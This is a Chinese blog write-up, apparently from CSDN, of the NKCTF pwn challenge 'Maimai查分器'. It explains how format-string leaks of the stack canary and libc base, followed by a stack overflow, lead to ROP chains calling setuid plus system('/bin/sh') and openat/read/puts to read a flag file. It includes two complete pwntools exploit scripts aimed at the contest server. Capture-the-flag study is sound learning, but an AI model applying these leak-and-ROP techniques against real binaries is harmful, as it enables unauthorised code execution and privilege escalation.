NKCTF--pwn--Maimai查分器

文章讲述了在NKCTF竞赛中,参赛者通过发现Maimai查分器的格式化字符串漏洞和栈溢出技巧,逐步执行payload,包括使用openat、read和puts函数,最终实现权限提升并获取shell的过程。作者详细描述了解题过程中的问题解决和策略调整。
摘要由CSDN通过智能技术生成
NKCTF–pwn–Maimai查分器
  1. Maimai查分器

    保护全开

    存在格式化字符串漏洞

    第一步:先测速率,输入15.0 SSS+ 50次获得最高速率
    在这里插入图片描述

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')

在这里插入图片描述

然后利用格式化字符串去泄露,本来想一口气全部泄露的,但是只有8个字节,那就分两次

然后打ret2libc即可

本地通了,但是不知道为啥远程通不了
在这里插入图片描述

怀疑可能远程的内部程序偏移不同,用-1到-8,+1到+8试,结果到+4的时候,欸?(后来发现是第二个payload里的4个A给输进去了,不知道为什么我本地不会这么输进去,远程却会()不过当时确实应该好好看看打印出来的东西,确实多了4个A)
在这里插入图片描述

但是没有权限,syscall禁用了open,所以用libc里的openat来读写

在这里插入图片描述

这里出现了好多问题,因为一次只能read0x80字节,本来尝试泄露返回地址,然后多次回转,结果中间会崩溃。

转换思路:栈溢出后自行用一个read,设置特别大的字节,由于想用orw嘛,就泄露了栈的地址,同时也可以作为这个read的地址。往栈上写./flag\x00\x00的名字,然后再用read来写orw。将两次的联合到一起。

payload = b'./flag\x00\x00'+b'A'*(0x30-8-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack_addr+0x80)+p64(pop_rdx_rbx)+p64(0x200)*2+p64(read_addr)+p64(pop_rdi)
payload +=p64(0xffffff9c)+p64(pop_rsi)+p64(stack_addr)+p64(pop_rdx_rbx)+p64(0)*2+p64(openat_addr)
payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(read_addr)
payload +=p64(pop_rdi)+p64(stack_addr+0x200)+p64(puts_addr)

虽然但是,这么做真的好麻烦好麻烦好麻烦。另外:突然发现那里又不用+4了???(不知道是不是修复了还是我的问题)没加是因为我本地之前正常不用+,然后本地调完忘了改,现在突然发现。。。

对了,而且openat的参数不知道为什么第一个是0xffffff9c???不是这个都不行,关于我怎么知道的呢?

自己编译了一个看了看🐶,让gpt给写的用openat打开一个文件

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int fd = openat(AT_FDCWD, "./flag", O_RDONLY);
    
    if (fd == -1) {
        perror("Error opening the file");
        return 1;
    }
    
    // 文件已成功打开,可以根据需要进行读取等操作
    
    close(fd); // 记得关闭文件描述符
    
    return 0;
}

调到对应的位置看
在这里插入图片描述

好吧好吧,总算是做出来一个,没被零封()()

出题人用了setuid来获得这个权限,用system获取shell后ls -la 可以看到这个pwn文件被赋予了s权限(可以setuid)
在这里插入图片描述

在setuid之后再system就可以cat flag 了
在这里插入图片描述

出题人的单独授予题目权限的特殊做法exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn')
p=remote('node.nkctf.yuzhian.com.cn',39213)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')
sl(b'2')
#debug()
sd(b'%7$p')
offset = 0x7f49d9a29d90 - 0x7f49d9a00000
ru('0x')
canary = int(rc(16),16)
print(hex(canary))
sd('xyyr')

sl(b'2')
#debug()
sd(b'%13$p')
ru('0x')
libc_base = int(rc(12),16) - offset
print(hex(libc_base))
sd('xyyr')

libc = ELF('/home/kali/Desktop/libc-2.35.so')
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

pop_rdi = libc_base + 0x000000000002a3e5
pop_ret = libc_base + 0x0000000000029139
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi = libc_base + 0x000000000002be51
setuid_addr = libc_base + libc.sym['setuid']
sl(b'2')
sd(b'xyyrxyyr')
rl()
payload= b"A"*(0x30-8)+p64(canary)*2+p64(pop_rdi)+p64(0)+p64(setuid_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
sd(payload)
p.interactive()

  • 另外关于openat,我看别人好像没有给rdi这个特殊的值,但是不知道为什么我按照不给的话输出不出来
    在这里插入图片描述

繁杂且麻烦且中间之前步骤有的需要但后面改的思路不需要的地址还存在的麻烦(但是第一的大佬也是这么做的,这个通用)exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn')
p=remote('node.nkctf.yuzhian.com.cn',39727)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')
sl(b'2')
#debug()
sd(b'%7$p')
offset = 0x7f49d9a29d90 - 0x7f49d9a00000
ru('0x')
canary = int(rc(16),16)
print(hex(canary))
sd('xyyr')

sl(b'2')
#debug()
sd(b'%13$p')
ru('0x')
libc_base = int(rc(12),16) - offset
print(hex(libc_base))
sd('xyyr')

libc = ELF('/home/kali/Desktop/libc-2.35.so')
#system_addr = libc_base + libc.sym['system']
#bin_sh = libc_base + next(libc.search(b'/bin/sh'))

pop_rdi = libc_base + 0x000000000002a3e5
pop_ret = libc_base + 0x0000000000029139
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi = libc_base + 0x000000000002be51
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base +libc.sym['read']
puts_addr = libc_base +libc.sym['puts']

#debug()
sl(b'2')
#debug()
sd(b'%8$p')
ru('0x')

stack_addr = int(rc(12),16)-0x70
#print(hex(stack))
sd(b'xyyr')

sl(b'2')
sd(b'%9$p')
ru('0x')
ret_addr = int(rc(12),16)
print(hex(ret_addr))

payload = b'./flag\x00\x00'+b'A'*(0x30-8-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack_addr+0x80)+p64(pop_rdx_rbx)+p64(0x200)*2+p64(read_addr)+p64(pop_rdi)
payload +=p64(0xffffff9c)+p64(pop_rsi)+p64(stack_addr)+p64(pop_rdx_rbx)+p64(0)*2+p64(openat_addr)
payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(read_addr)
payload +=p64(pop_rdi)+p64(stack_addr+0x200)+p64(puts_addr)
#debug()
sd(payload)
p.interactive()

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值